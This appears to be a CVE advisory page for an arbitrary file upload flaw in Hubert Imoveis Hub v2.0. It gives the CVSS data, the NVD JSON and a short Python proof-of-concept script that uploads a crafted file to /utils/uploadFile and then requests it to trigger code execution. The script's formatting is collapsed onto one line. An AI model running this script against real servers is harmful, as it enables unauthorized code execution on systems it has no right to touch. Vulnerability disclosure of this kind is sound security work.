Security Vulnerability Report
中文
CVE-2025-65783 CVSS 9.8 CRITICAL

CVE-2025-65783

Published: 2026-01-13 16:15:56
Last Modified: 2026-02-05 20:35:11

Description

An arbitrary file upload vulnerability in the /utils/uploadFile component of Hubert Imoveis e Administracao Ltda Hub v2.0 1.27.3 allows attackers to execute arbitrary code via uploading a crafted PDF file.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:hubert:hub:2.0.1.27.3:*:*:*:*:*:*:* - VULNERABLE
Hubert Imoveis Hub v2.0 1.27.3及之前所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-65783 PoC - Arbitrary File Upload in Hubert Imoveis Hub v2.0 # Target: Hubert Imoveis e Administracao Ltda Hub v2.0 < 1.27.4 def exploit_upload(target_url, file_path): """ Exploit arbitrary file upload vulnerability in /utils/uploadFile endpoint """ upload_url = f"{target_url}/utils/uploadFile" # Prepare malicious PDF file with embedded code with open(file_path, 'rb') as f: files = {'file': (file_path, f.read(), 'application/pdf')} try: response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: # Extract uploaded file path from response data = response.json() uploaded_path = data.get('filePath', '') print(f"[+] File uploaded successfully: {uploaded_path}") # Trigger code execution by accessing the uploaded file exec_url = f"{target_url}/{uploaded_path}" exec_response = requests.get(exec_url) print(f"[+] Code execution triggered") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <malicious_file>") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_upload(target, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65783", "sourceIdentifier": "[email protected]", "published": "2026-01-13T16:15:55.783", "lastModified": "2026-02-05T20:35:11.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file upload vulnerability in the /utils/uploadFile component of Hubert Imoveis e Administracao Ltda Hub v2.0 1.27.3 allows attackers to execute arbitrary code via uploading a crafted PDF file."}, {"lang": "es", "value": "Una vulnerabilidad de carga de archivos arbitraria en el componente /utils/uploadFile de Hubert Imoveis e Administracao Ltda Hub v2.0 1.27.3 permite a los atacantes ejecutar código arbitrario mediante la carga de un archivo PDF manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hubert:hub:2.0.1.27.3:*:*:*:*:*:*:*", "matchCriteriaId": "2BF9FBC6-E74F-46C8-9A21-800490E342B0"}]}]}], "references": [{"url": "http://hub.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://hubert.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/carlos-artmann/vulnerability-research/tree/main/CVE-2025-65783", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}